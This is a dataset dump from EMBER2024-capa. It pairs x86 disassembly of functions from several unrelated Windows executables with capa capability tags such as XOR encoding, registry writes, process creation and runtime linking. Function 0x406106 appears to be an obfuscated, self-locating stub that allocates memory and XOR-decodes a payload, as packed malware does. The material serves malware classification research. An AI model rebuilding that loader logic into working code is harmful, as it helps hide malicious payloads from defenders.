joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408ce0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x420962
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x427138]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, dword [esp + 0x28]
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov dword [edi], 0x424270
mov dword [edi + 0x54], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 4]
push esi
mov dword [esp + 0x24], ebx
push edi
mov dword [esp + 0x1c], 1
call fcn.004081c0
mov dword [esp + 0x20], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
call fcn.004044f0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x42955c]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov ecx, dword [esp + 0x2c]
push 0x32
mov edx, esi
mov byte [esp + 0x24], 2
call fcn.00403d10
test eax, eax
jne 0x408dda
mov eax, dword [edi]
mov ecx, dword [eax + 4]
mov eax, dword [ecx + edi + 8]
add ecx, edi
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x408dd3
or eax, 4
push ebx
push eax
call fcn.00401e60
mov eax, edi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8

Function at 0x409a6d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427138]
jne 0x409a77
repz ret
jmp fcn.0040e4b0
Function at 0x41a7f6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041106e
and dword [ebp - 4], 0
cmp dword [0x429478], 0
mov ebx, eax
jne 0x41a8a7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41a958
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x41a958
push eax
call fcn.00410ffc
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429478], eax
call esi
push eax
call fcn.00410ffc
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42947c], eax
call esi
push eax
call fcn.00410ffc
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429480], eax
call esi
push eax
call fcn.00410ffc
pop ecx
mov dword [0x429488], eax
test eax, eax
je 0x41a8a7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410ffc
pop ecx
mov dword [0x429484], eax
mov eax, dword [0x429484]
cmp eax, ebx
je 0x41a8ff
cmp dword [0x429488], ebx
je 0x41a8ff
push eax
call fcn.00411077
push dword [0x429488]
mov esi, eax
call fcn.00411077
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41a8ff
test edi, edi
je 0x41a8ff
call esi
test eax, eax
je 0x41a8f6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41a8f6
test byte [ebp - 0xc], 1
jne 0x41a8ff
or dword [ebp + 0x10], 0x200000
jmp 0x41a938
mov eax, dword [0x42947c]
cmp eax, ebx
je 0x41a938
push eax
call fcn.00411077
pop ecx
test eax, eax
je 0x41a938
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41a938
mov eax, dword [0x429480]
cmp eax, ebx
je 0x41a938
push eax
call fcn.00411077
pop ecx
test eax, eax
je 0x41a938
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429478]
call fcn.00411077
pop ecx
test eax, eax
je 0x41a958
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41a95a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405e13
Capabilities:
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
mov ebx, 0x4308e8
push 0x40a574
push ebx
call dword [sym.imp.kernel32.dll_lstrcpyW]
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.kernel32.dll_GetShortPathNameW]
test esi, esi
mov edi, 0x400
je 0x405e61
push 1
push 0
push esi
call fcn.00405cb9
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push edi
push ebx
push esi
call ebp
test eax, eax
je 0x405f80
cmp eax, edi
jg 0x405f80
mov esi, 0x4310e8
push edi
push esi
push dword [esp + 0x1c]
call ebp
test eax, eax
je 0x405f80
cmp eax, edi
jg 0x405f80
push esi
push ebx
push str._ls_ls_r_n
push 0x4304e8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x434ef0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00406106
push 4
push 0xc0000000
push esi
call fcn.00405cb9
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x405f80
push 0
push ebp
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405f79
push edi
push esi
push ebp
call fcn.00406106
test eax, eax
je 0x405f79
push str._Rename__r_n
push esi
call fcn.00406106
test eax, eax
jne 0x405f17
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405f4c
add eax, 0xa
push 0x40a558
push eax
call fcn.00406106
mov ebp, eax
test ebp, ebp
je 0x405f48
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405f39
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405f33
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405f4e
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x4304e8
push eax
call fcn.00405c74
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.kernel32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00406106
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
push ebp
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405f85
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_MoveFileExW]
test eax, eax
jne 0x405fa8
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405e13
pop ecx
pop ecx
inc dword [0x434f70]
ret 8
Function at 0x406106
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x406115
pop dword [ebp - 0x20]
mov eax, 0x406115
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x5cf9eda0
add dword [ebp - 0x30], 0xf15857ab
mov dword [ebp - 0x2c], 0x2725707e
add dword [ebp - 0x2c], 0xb0ddbc7
mov dword [ebp - 0x28], 0x5d9dcd1b
add dword [ebp - 0x28], 0xeeae7713
mov dword [ebp - 0x24], 0x381e8c01
add dword [ebp - 0x24], 0xc7e173ff
lea eax, [ebp - 0x30]
push eax
mov eax, 0xb5c76d6
sub eax, 0xb1bf5d2
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x59ce4ce
add dword [ebp - 0x30], 0x6ed58488
mov dword [ebp - 0x2c], 0x35d08dbb
sub dword [ebp - 0x2c], 0xf4642c46
mov dword [ebp - 0x28], 0x89824f16
sub dword [ebp - 0x28], 0x2612e2aa
mov dword [ebp - 0x24], 0xf40a867d
add dword [ebp - 0x24], 0xbf57983
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xfb62fac8
sub eax, 0xfb2279c8
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x34c37
push 0
call eax
mov ecx, 0xdc79855c
sub ecx, 0xdc794657
mov esi, eax
mov edx, 0x457200
add edx, dword [ebp - 0x20]
mov ebx, 0xcec72337
sub ebx, 0x5ce2ebf
xor dword [ebp - 0x14], 0x9be167a4
mov edi, dword [edx]
xor dword [ebp - 8], edx
xor edi, ebx
add dword [ebp - 4], eax
mov dword [esi], edi
xor dword [ebp - 0x10], 0xf53fe6b
add esi, 0xce596758
sub esi, 0xce596754
add edx, 0xc330c3d5
sub edx, 0xc330c3d1
loop 0x40622c
add eax, 0x9ed2ccc4
sub eax, 0x9ed1dddd
mov ebx, eax
add eax, 0xf21cc825
add eax, 0xde337e0
mov ecx, 0xfe781c8c
sub ecx, 0xfe381c8c
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x40656f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4318ec], 0
push esi
jne 0x4065a6
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406580
mov dword [ecx*4 + 0x4318e8], eax
inc ecx
cmp ecx, 0x100
jl 0x40657b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4065d7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4318e8]
xor eax, esi
inc ecx
dec edx
jne 0x4065b9
pop edi
not eax
pop esi
ret 0xc
Function at 0x401460
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x4014b8
cmp byte [esi + ebx - 1], 0xa
je 0x40148c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4060a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x401ae0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xe0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call sym.___wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x401cb8
mov edi, dword [0x4060a4]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], edi
je 0x401bc7
test byte [0x403018], 8
jne 0x401c60
lea ebx, [ebp - 0xd4]
mov edi, ebx
test byte [0x403028], 8
jne 0x401c20
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x401b69
cmp esi, 3
jbe 0x401bd8
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x401b7a
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xe0
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x4042e8]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x401b69
mov dword [esp], 0x403028
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x401b40
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf
add edi, eax
jmp 0x401b40
mov dword [esp], 0x403018
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x401b2b
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xd4]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf
lea edi, [ebx + eax]
jmp 0x401b33
mov eax, 0xffffffff
jmp 0x401bc7

Function at 0x401d40
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___argv
mov edi, dword [eax]
call sym.__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._main
mov dword [esp], eax
call sym._exit
nop
nop
nop
Function at 0x4011b4
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov esi, 0x40a5d4
cmp dword [esi], 0
jne 0x4011fa
push 0x644
push 0
call sub.KERNEL32.DLL_TerminateProcess
mov ecx, eax
test ecx, ecx
jne 0x4011d7
xor eax, eax
pop esi
pop ebx
ret
mov eax, dword [0x40a5d0]
mov dword [ecx], eax
mov dword [0x40a5d0], ecx
xor edx, edx
mov eax, edx
add eax, eax
lea eax, [ecx + eax*8 + 4]
mov ebx, dword [esi]
mov dword [eax], ebx
mov dword [esi], eax
inc edx
cmp edx, 0x64
jne 0x4011e6
mov eax, dword [esi]
mov edx, dword [eax]
mov dword [esi], edx
pop esi
pop ebx
ret

Function at 0x401840
Capabilities:
Create process on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
push ebp
push 0x4018f6
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40a5b8
call sub.KERNEL32.DLL_VirtualQueryEx
cmp byte [0x40a039], 0
je 0x40186e
push 0x40a5b8
call sub.KERNEL32.DLL_WinExec
mov eax, 0x40a5d8
call fcn.00401204
mov eax, 0x40a5e8
call fcn.00401204
mov eax, 0x40a614
call fcn.00401204
push 0xff8
push 0
call sub.KERNEL32.DLL_TerminateProcess
mov dword [0x40a610], eax
cmp dword [0x40a610], 0
je 0x4018d5
mov eax, 3
mov edx, dword [0x40a610]
xor ecx, ecx
mov dword [edx + eax*4 - 0xc], ecx
inc eax
cmp eax, 0x401
jne 0x4018ab
mov eax, 0x40a5f8
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [0x40a604], eax
mov byte [0x40a5b0], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4018fd
cmp byte [0x40a039], 0
je 0x4018f5
push 0x40a5b8
call sub.KERNEL32.DLL_WriteFile
ret

Function at 0x401904
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x40a5b0], 0
je 0x4019e1
xor edx, edx
push ebp
push 0x4019da
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x40a039], 0
je 0x401936
push 0x40a5b8
call sub.KERNEL32.DLL_WinExec
mov byte [0x40a5b0], 0
mov eax, dword [0x40a610]
push eax
call sub.KERNEL32.DLL_VirtualAlloc
xor eax, eax
mov dword [0x40a610], eax
mov ebx, dword [0x40a5d8]
jmp 0x401969
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_VirtualProtectEx
mov ebx, dword [ebx]
cmp ebx, 0x40a5d8
jne 0x401957
mov eax, 0x40a5d8
call fcn.00401204
mov eax, 0x40a5e8
call fcn.00401204
mov eax, 0x40a614
call fcn.00401204
mov eax, dword [0x40a5d0]
test eax, eax
je 0x4019af
mov edx, dword [eax]
mov dword [0x40a5d0], edx
push eax
call sub.KERNEL32.DLL_VirtualAlloc
mov eax, dword [0x40a5d0]
test eax, eax
jne 0x401998
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4019e1
cmp byte [0x40a039], 0
je 0x4019cf
push 0x40a5b8
call sub.KERNEL32.DLL_WriteFile
push 0x40a5b8
call sub.KERNEL32.DLL_WriteProcessMemory
ret
pop ebx
pop ebp
ret
Function at 0x401f2c
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
cmp byte [0x40a5b0], 0
jne 0x401f49
call fcn.00401840
test al, al
je 0x401f51
cmp ebx, 0x7ffffff8
jle 0x401f5b
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x4020af
xor ecx, ecx
push ebp
push 0x4020a8
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x40a039], 0
je 0x401f7c
push 0x40a5b8
call sub.KERNEL32.DLL_WinExec
add ebx, 7
and ebx, 0xfffffffc
cmp ebx, 0xc
jge 0x401f8c
mov ebx, 0xc
cmp ebx, 0x1000
jg 0x40202b
mov eax, ebx
test eax, eax
jns 0x401fa1
add eax, 3
sar eax, 2
mov edx, dword [0x40a610]
mov edx, dword [edx + eax*4 - 0xc]
test edx, edx
je 0x40202b
mov esi, edx
mov eax, esi
add eax, ebx
and dword [eax], 0xfffffffe
mov eax, dword [edx + 4]
cmp edx, eax
jne 0x401fdc
mov eax, ebx
test eax, eax
jns 0x401fcb
add eax, 3
sar eax, 2
mov ecx, dword [0x40a610]
xor edi, edi
mov dword [ecx + eax*4 - 0xc], edi
jmp 0x402002
mov ecx, ebx
test ecx, ecx
jns 0x401fe5
add ecx, 3
sar ecx, 2
mov edi, dword [0x40a610]
mov dword [edi + ecx*4 - 0xc], eax
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, esi
mov edx, dword [edx + 8]
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40a5a0]
sub ebx, 4
add dword [0x40a5a4], ebx
call fcn.004036b0
jmp 0x4020af
cmp ebx, dword [0x40a608]
jg 0x40207d
sub dword [0x40a608], ebx
cmp dword [0x40a608], 0xc
jge 0x40204f
add ebx, dword [0x40a608]
xor eax, eax
mov dword [0x40a608], eax
mov eax, dword [0x40a60c]
add dword [0x40a60c], ebx
mov edx, ebx
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40a5a0]
sub ebx, 4
add dword [0x40a5a4], ebx
call fcn.004036b0
jmp 0x4020af
mov eax, ebx
call fcn.00401e38
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4020af
cmp byte [0x40a039], 0
je 0x4020a7
push 0x40a5b8
call sub.KERNEL32.DLL_WriteFile
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4020bc
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov dword [0x40a5b4], eax
cmp byte [0x40a5b0], 0
jne 0x4020f4
call fcn.00401840
test al, al
jne 0x4020f4
mov dword [0x40a5b4], 8
mov dword [ebp - 4], 8
jmp 0x402255
xor ecx, ecx
push ebp
push 0x40224e
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x40a039], 0
je 0x402115
push 0x40a5b8
call sub.KERNEL32.DLL_WinExec
mov esi, ebx
sub esi, 4
mov ebx, dword [esi]
test bl, 2
jne 0x402130
mov dword [0x40a5b4], 9
jmp 0x402225
dec dword [0x40a5a0]
mov eax, ebx
and eax, 0x7ffffffc
sub eax, 4
sub dword [0x40a5a4], eax
test bl, 1
je 0x402190
mov eax, esi
sub eax, 0xc
mov edx, dword [eax + 8]
cmp edx, 0xc
jl 0x402160
test edx, 0x80000003
je 0x40216f
mov dword [0x40a5b4], 0xa
jmp 0x402225
mov eax, esi
sub eax, edx
cmp edx, dword [eax + 8]
je 0x402187
mov dword [0x40a5b4], 0xa
jmp 0x402225
add ebx, edx
mov esi, eax
call fcn.004019e4
and ebx, 0x7ffffffc
mov eax, esi
add eax, ebx
mov edi, eax
cmp edi, dword [0x40a60c]
jne 0x4021d0
sub dword [0x40a60c], ebx
add dword [0x40a608], ebx
cmp dword [0x40a608], 0x3c00
jle 0x4021c1
call fcn.00401cd4
xor eax, eax
mov dword [ebp - 4], eax
call fcn.004036b0
jmp 0x402255
mov edx, dword [eax]
test dl, 2
je 0x4021f3
and edx, 0x7ffffffc
cmp edx, 4
jge 0x4021ee
mov dword [0x40a5b4], 0xb
jmp 0x402225
or dword [eax], 1
jmp 0x40221c
mov eax, edi
cmp dword [eax + 4], 0
je 0x402206
cmp dword [eax], 0
je 0x402206
cmp dword [eax + 8], 0xc
jge 0x402212
mov dword [0x40a5b4], 0xb
jmp 0x402225
mov edx, dword [eax + 8]
add ebx, edx
call fcn.004019e4
mov edx, ebx
mov eax, esi
call fcn.00401c4c
mov eax, dword [0x40a5b4]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402255
cmp byte [0x40a039], 0
je 0x40224d
push 0x40a5b8
call sub.KERNEL32.DLL_WriteFile
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x402750
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403b58
test esi, esi
jne 0x402786
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_ResumeThread
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00403c48
jmp 0x4027a4
call sub.KERNEL32.DLL_LoadLibraryA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402664
mov edi, eax
test esi, esi
je 0x4027a4
cmp dword [ebx], 0
je 0x4027a4
dec esi
jmp 0x40278d
add esp, 0x108
pop edi
pop esi
pop ebx
ret
Function at 0x40765c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ecc
mov eax, dword [ebp - 8]
call fcn.00403ecc
mov eax, dword [ebp - 0xc]
call fcn.00403ecc
mov eax, dword [ebp + 8]
call fcn.00403ecc
xor eax, eax
push ebp
push 0x4077ae
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
push 0x4077c0
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403edc
push eax
push 0
push 2
push 0x110
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.00403edc
push eax
mov eax, dword [ebp - 4]
call fcn.00403edc
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA
mov ebx, eax
mov eax, dword [0x409160]
cmp dword [eax], 0
je 0x407783
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x400
mov edx, 1
mov eax, dword [ebp + 8]
call fcn.00403f34
mov eax, 4
call fcn.00402500
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
call fcn.00403cdc
inc eax
call fcn.00402500
mov esi, eax
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
xor eax, eax
push ebp
push 0x40777c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, dword [ebp - 0x18]
call fcn.00407638
mov eax, dword [ebp - 0x14]
push eax
push 1
push ebx
mov eax, dword [0x409160]
mov eax, dword [eax]
call eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407783
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00402520
mov eax, dword [ebp - 0x14]
call fcn.00402520
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4077b5
lea eax, [ebp - 0x18]
call fcn.00403b58
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403b7c
lea eax, [ebp + 8]
call fcn.00403b58
ret

Function at 0x4077c4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ecc
xor eax, eax
push ebp
push 0x407876
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x407856
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
push 0xf003f
push 0
push 0x407888
call sub.advapi32.dll_RegOpenKeyExA
mov ebx, eax
test ebx, ebx
je 0x40783e
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.00403edc
push eax
push ebx
call sub.advapi32.dll_RegSetValueExA
mov edi, eax
test edi, edi
je 0x407838
push edi
call sub.advapi32.dll_RegCloseKey
mov esi, 1
push edi
call sub.advapi32.dll_OpenServiceA
push ebx
call sub.advapi32.dll_OpenServiceA
test esi, esi
jle 0x407848
mov byte [ebp - 5], 1
jmp 0x40784c
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x407860
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40787d
lea eax, [ebp - 4]
call fcn.00403b58
ret
Function at 0x408350
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403ecc
xor eax, eax
push ebp
push 0x4083d9
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
mov eax, esi
mov edx, edi
call fcn.00407c28
test al, al
je 0x4083c3
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0040813c
mov ebx, eax
push 0x4000
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.DLL_GetFileSize
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4083e0
lea eax, [ebp - 4]
call fcn.00403b58
ret